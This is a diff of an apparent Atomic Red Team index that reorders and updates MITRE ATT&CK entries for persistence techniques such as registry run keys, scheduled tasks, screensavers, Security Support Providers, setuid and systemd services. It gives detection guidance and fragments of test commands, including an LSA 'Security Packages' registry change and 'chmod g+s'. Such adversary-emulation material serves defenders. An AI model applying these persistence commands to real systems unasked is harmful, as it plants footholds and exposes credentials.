type: attack-pattern - description: |- - Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level. + x_mitre_permissions_required: + - User + - Administrator + name: Registry Run Keys / Startup Folder + description: |- + Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level. The following run keys are created by default on Windows systems: * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run @@ -3439,9 +3499,68 @@ persistence: * HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders * HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders + The following Registry keys can control automatic startup of services during boot: + * HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce + * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce + * HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices + * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices + + Using policy settings to specify startup programs creates corresponding values in either of two Registry keys: + * HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run + * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run + + The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit and HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell subkeys can automatically launch programs. + + Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run when any user logs on. + + By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot. + + Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs. + id: attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' x_mitre_system_requirements: - HKEY_LOCAL_MACHINE keys require administrator access to create and modify + type: attack-pattern + x_mitre_detection: |- + Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data. + + Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Oddvar Moe, @oddvarmoe + created: '2017-05-31T21:30:49.988Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1060 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1060 + - source_name: capec + external_id: CAPEC-270 + url: https://capec.mitre.org/data/definitions/270.html + - source_name: Microsoft Run Key + description: Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November + 12, 2014. + url: http://msdn.microsoft.com/en-us/library/aa376977 + - source_name: Microsoft RunOnceEx APR 2018 + description: Microsoft. (2018, August 20). Description of the RunOnceEx Registry + Key. Retrieved June 29, 2018. + url: https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key + - source_name: Oddvar Moe RunOnceEx Mar 2018 + description: Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden + from Autoruns.exe. Retrieved June 29, 2018. + url: https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/ + - description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. + Retrieved June 6, 2016. + source_name: TechNet Autoruns + url: https://technet.microsoft.com/en-us/sysinternals/bb963902 + modified: '2019-06-20T18:40:10.437Z' identifier: T1060 atomic_tests: - name: Reg Key Run @@ -3515,39 +3634,6 @@ persistence: $Shortcut.Save() T1053: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1053 - source_name: mitre-attack - external_id: T1053 - - url: https://capec.mitre.org/data/definitions/557.html - source_name: capec - external_id: CAPEC-557 - - url: https://technet.microsoft.com/en-us/library/cc785125.aspx - source_name: TechNet Task Scheduler Security - description: Microsoft. (2005, January 21). Task Scheduler and security. Retrieved - June 8, 2016. - - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 - source_name: TechNet Autoruns - description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. - Retrieved June 6, 2016. - - url: https://twitter.com/leoloobeek/status/939248813465853953 - source_name: Twitter Leoloobeek Scheduled Task - description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved - December 12, 2017. - - url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen - source_name: TechNet Forum Scheduled Task Operational Setting - description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention - settings. Retrieved December 12, 2017. - - url: https://technet.microsoft.com/library/dd315590.aspx - source_name: TechNet Scheduled Task Events - description: Microsoft. (n.d.). General Task Registration. Retrieved December - 12, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Leo Loobeek, @leoloobeek - - Travis Smith, Tripwire - - Alain Homewood, Insomnia Security x_mitre_permissions_required: - Administrator - SYSTEM @@ -3557,43 +3643,84 @@ persistence: - Process monitoring - Process command-line parameters - Windows event logs - modified: '2018-10-17T00:14:20.652Z' + name: Scheduled Task + description: |- + Utilities such as [at](https://attack.mitre.org/software/S0110) and [schtasks](https://attack.mitre.org/software/S0111), along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the remote system. (Citation: TechNet Task Scheduler Security) + + An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account. + x_mitre_remote_support: true + id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + type: attack-pattern x_mitre_detection: |- Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. - Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events) + Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10) - * Event ID 106 - Scheduled task registered - * Event ID 140 - Scheduled task updated - * Event ID 141 - Scheduled task removed + * Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered + * Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated + * Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted + * Event ID 4698 on Windows 10, Server 2016 - Scheduled task created + * Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled + * Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Monitor processes and command-line arguments for actions that could be taken to create tasks. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data. created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: execution - kill_chain_name: mitre-attack - - phase_name: persistence - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9 - name: Scheduled Task + x_mitre_contributors: + - Prashant Verma, Paladion + - Leo Loobeek, @leoloobeek + - Travis Smith, Tripwire + - Alain Homewood, Insomnia Security created: '2017-05-31T21:30:46.977Z' - x_mitre_version: '1.0' - x_mitre_remote_support: true - type: attack-pattern - description: |- - Utilities such as [at](https://attack.mitre.org/software/S0110) and [schtasks](https://attack.mitre.org/software/S0111), along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the the remote system. (Citation: TechNet Task Scheduler Security) - - An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account. x_mitre_effective_permissions: - SYSTEM - Administrator - User + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: execution + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1053 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1053 + - source_name: capec + external_id: CAPEC-557 + url: https://capec.mitre.org/data/definitions/557.html + - source_name: TechNet Task Scheduler Security + description: Microsoft. (2005, January 21). Task Scheduler and security. Retrieved + June 8, 2016. + url: https://technet.microsoft.com/en-us/library/cc785125.aspx + - source_name: Twitter Leoloobeek Scheduled Task + description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved + December 12, 2017. + url: https://twitter.com/leoloobeek/status/939248813465853953 + - source_name: TechNet Forum Scheduled Task Operational Setting + description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention + settings. Retrieved December 12, 2017. + url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen + - source_name: TechNet Scheduled Task Events + description: Microsoft. (n.d.). General Task Registration. Retrieved December + 12, 2017. + url: https://technet.microsoft.com/library/dd315590.aspx + - description: Microsoft. (2017, May 28). Audit Other Object Access Events. + Retrieved June 27, 2019. + source_name: Microsoft Scheduled Task Events Win10 + url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events + - description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. + Retrieved June 6, 2016. + source_name: TechNet Autoruns + url: https://technet.microsoft.com/en-us/sysinternals/bb963902 + modified: '2019-07-25T19:04:10.980Z' identifier: T1053 atomic_tests: - name: At.exe Scheduled task @@ -3662,43 +3789,14 @@ persistence: ' T1180: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1180 - source_name: mitre-attack - external_id: T1180 - - url: https://en.wikipedia.org/wiki/Screensaver - source_name: Wikipedia Screensaver - description: Wikipedia. (2017, November 22). Screensaver. Retrieved December - 5, 2017. - - url: https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf - source_name: ESET Gazer Aug 2017 - description: 'ESET. (2017, August). Gazing at Gazer: Turla’s new second stage - backdoor. Retrieved September 14, 2017.' - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Bartosz Jerzman x_mitre_data_sources: - Process monitoring - Process command-line parameters - Windows Registry - File monitoring - modified: '2019-04-03T14:59:35.691Z' - x_mitre_detection: |- - Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior. - - Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - id: attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae + x_mitre_permissions_required: + - User name: Screensaver - created: '2018-01-16T16:13:52.465Z' - x_mitre_version: '1.1' - type: attack-pattern description: "Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application @@ -3709,12 +3807,41 @@ persistence: achieve persistence:\n\n* SCRNSAVE.exe - set to malicious PE path\n* ScreenSaveActive - set to '1' to enable the screensaver\n* ScreenSaverIsSecure - set to '0' to not require a password to - unlock\n* ScreenSaverTimeout - sets user inactivity timeout before + unlock\n* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)" - x_mitre_permissions_required: - - User + id: attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + type: attack-pattern + x_mitre_detection: |- + Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior. + + Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Bartosz Jerzman + created: '2018-01-16T16:13:52.465Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1180 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1180 + - description: Wikipedia. (2017, November 22). Screensaver. Retrieved December + 5, 2017. + source_name: Wikipedia Screensaver + url: https://en.wikipedia.org/wiki/Screensaver + - description: 'ESET. (2017, August). Gazing at Gazer: Turla’s new second stage + backdoor. Retrieved September 14, 2017.' + source_name: ESET Gazer Aug 2017 + url: https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf + modified: '2019-09-03T16:12:27.771Z' identifier: T1180 atomic_tests: - name: Set Arbitrary Binary as Screensaver @@ -3742,25 +3869,23 @@ persistence: shutdown /r /t 0 T1101: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1101 - source_name: mitre-attack - external_id: T1101 - - url: http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html - source_name: Graeber 2014 - description: Graeber, M. (2014, October). Analysis of Malicious Security Support - Provider DLLs. Retrieved March 1, 2017. - - url: https://technet.microsoft.com/en-us/library/dn408187.aspx - source_name: Microsoft Configure LSA - description: Microsoft. (2013, July 31). Configuring Additional LSA Protection. - Retrieved June 24, 2015. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_data_sources: - DLL monitoring - Windows Registry - Loaded DLLs - modified: '2018-10-17T00:14:20.652Z' + x_mitre_permissions_required: + - Administrator + name: Security Support Provider + description: |- + Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called. + (Citation: Graeber 2014) + id: attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern x_mitre_detection: 'Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by @@ -3768,21 +3893,23 @@ persistence: File Execution Options\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - id: attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446 - name: Security Support Provider created: '2017-05-31T21:31:13.447Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called. - (Citation: Graeber 2014) - x_mitre_permissions_required: - - Administrator + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1101 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1101 + - source_name: Graeber 2014 + description: Graeber, M. (2014, October). Analysis of Malicious Security Support + Provider DLLs. Retrieved March 1, 2017. + url: http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html + - source_name: Microsoft Configure LSA + description: Microsoft. (2013, July 31). Configuring Additional LSA Protection. + Retrieved June 24, 2015. + url: https://technet.microsoft.com/en-us/library/dn408187.aspx + modified: '2019-06-24T12:15:29.952Z' identifier: T1101 atomic_tests: - name: Modify SSP configuration in registry @@ -3810,51 +3937,51 @@ persistence: Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $SecurityPackages T1166: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1166 - source_name: mitre-attack - external_id: T1166 - - url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ - source_name: OSX Keydnap malware - description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware - is hungry for credentials. Retrieved July 3, 2017. - - url: http://man7.org/linux/man-pages/man2/setuid.2.html - source_name: setuid man page - description: Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. - Retrieved September 21, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_data_sources: - File monitoring - Process monitoring - Process command-line parameters - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: Monitor the file system for files that have the setuid or - setgid bits set. Monitor for execution of utilities, like chmod, and their - command-line arguments to look for setuid or setguid bits being set. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - kill_chain_phases: - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - - phase_name: persistence - kill_chain_name: mitre-attack - id: attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2 + x_mitre_permissions_required: + - User name: Setuid and Setgid - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - type: attack-pattern description: |- When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an "s" instead of an "x" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. An adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future (Citation: OSX Keydnap malware). + id: attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2 + x_mitre_platforms: + - Linux + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Monitor the file system for files that have the setuid or + setgid bits set. Monitor for execution of utilities, like chmod, and their + command-line arguments to look for setuid or setguid bits being set. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-12-14T16:46:06.044Z' x_mitre_effective_permissions: - Administrator - root - x_mitre_permissions_required: - - User + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1166 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1166 + - source_name: setuid man page + description: Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. + Retrieved September 21, 2018. + url: http://man7.org/linux/man-pages/man2/setuid.2.html + - source_name: OSX Keydnap malware + description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware + is hungry for credentials. Retrieved July 3, 2017. + url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ + modified: '2019-06-24T12:06:41.014Z' identifier: T1166 atomic_tests: - name: Setuid and Setgid @@ -3921,42 +4048,12 @@ persistence: sudo chmod g+s #{file_to_setuid} T1165: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1165 - source_name: mitre-attack - external_id: T1165 - - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html - source_name: Startup Items - description: Apple. (2016, September 13). Startup Items. Retrieved July 11, - 2017. - - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf - source_name: Methods of Mac Malware Persistence - description: Patrick Wardle. (2014, September). Methods of Malware Persistence - on Mac OS X. Retrieved July 5, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_permissions_required: + - Administrator x_mitre_data_sources: - File monitoring - Process monitoring - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: The /Library/StartupItems folder can be monitored - for changes. Similarly, the programs that are actually executed from this - mechanism should be checked against a whitelist. Monitor processes that are - executed during the bootup process to check for unusual or unknown applications - and behavior. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - id: attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f name: Startup Items - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - type: attack-pattern description: "Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution @@ -3972,10 +4069,40 @@ persistence: bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well." + id: attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f + x_mitre_platforms: + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: The /Library/StartupItems folder can be monitored + for changes. Similarly, the programs that are actually executed from this + mechanism should be checked against a whitelist. Monitor processes that are + executed during the bootup process to check for unusual or unknown applications + and behavior. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-12-14T16:46:06.044Z' x_mitre_effective_permissions: - root - x_mitre_permissions_required: - - Administrator + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1165 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1165 + - source_name: Startup Items + description: Apple. (2016, September 13). Startup Items. Retrieved July 11, + 2017. + url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html + - source_name: Methods of Mac Malware Persistence + description: Patrick Wardle. (2014, September). Methods of Malware Persistence + on Mac OS X. Retrieved July 5, 2017. + url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf + modified: '2019-07-18T17:58:17.016Z' identifier: T1165 atomic_tests: - name: Startup Items @@ -4012,64 +4139,14 @@ persistence: sudo rm /private/var/db/emondClients/T1165 T1501: technique: - external_references: - - external_id: T1501 - source_name: mitre-attack - url: https://attack.mitre.org/techniques/T1501 - - url: http://man7.org/linux/man-pages/man1/systemd.1.html - source_name: 'Linux man-pages: systemd January 2014' - description: Linux man-pages. (2014, January). systemd(1) - Linux manual page. - Retrieved April 23, 2019. - - url: https://www.freedesktop.org/wiki/Software/systemd/ - source_name: Freedesktop.org Linux systemd 29SEP2018 - description: Freedesktop.org. (2018, September 29). systemd System and Service - Manager. Retrieved April 23, 2019. - - url: https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang - source_name: Anomali Rocke March 2019 - description: Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With - a New Malware Family Written in Golang. Retrieved April 24, 2019. - - url: https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a - source_name: gist Arch package compromise 10JUL2018 - description: Catalin Cimpanu. (2018, July 10). ~x file downloaded in public - Arch package compromise. Retrieved April 23, 2019. - - url: https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/ - source_name: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018 - description: Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux - AUR Package Repository. Retrieved April 23, 2019. - - url: https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html - source_name: acroread package compromised Arch Linux Mail 8JUL2018 - description: Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved - April 23, 2019. - - url: https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence - source_name: Rapid7 Service Persistence 22JUNE2016 - description: Rapid7. (2016, June 22). Service Persistence. Retrieved April - 23, 2019. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Tony Lambert, Red Canary x_mitre_data_sources: - Process command-line parameters - Process monitoring - File monitoring - modified: '2019-04-29T14:14:08.450Z' - x_mitre_detection: |- - Systemd service unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and /home//.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user. - - Suspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: systemctl list-units -–type=service –all. Analyze the contents of .service files present on the file system and ensure that they refer to legitimate, expected executables. - - Auditing the execution and command-line arguments of the 'systemctl' utility, as well related utilities such as /usr/sbin/service may reveal malicious systemd service execution. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - id: attack-pattern--0fff2797-19cb-41ea-a5f1-8a9303b8158e + x_mitre_permissions_required: + - root + - User name: Systemd Service - created: '2019-04-23T15:34:30.008Z' - x_mitre_version: '1.0' - type: attack-pattern description: "Systemd services can be used to establish persistence on a Linux system. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: @@ -4099,9 +4176,59 @@ persistence: directories, low privilege users can create/modify service unit files in directories such as ~/.config/systemd/user/ to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)" - x_mitre_permissions_required: - - root - - User + id: attack-pattern--0fff2797-19cb-41ea-a5f1-8a9303b8158e + x_mitre_platforms: + - Linux + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + Systemd service unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and /home//.config/systemd/user/ directories, as well as associated symbolic links. 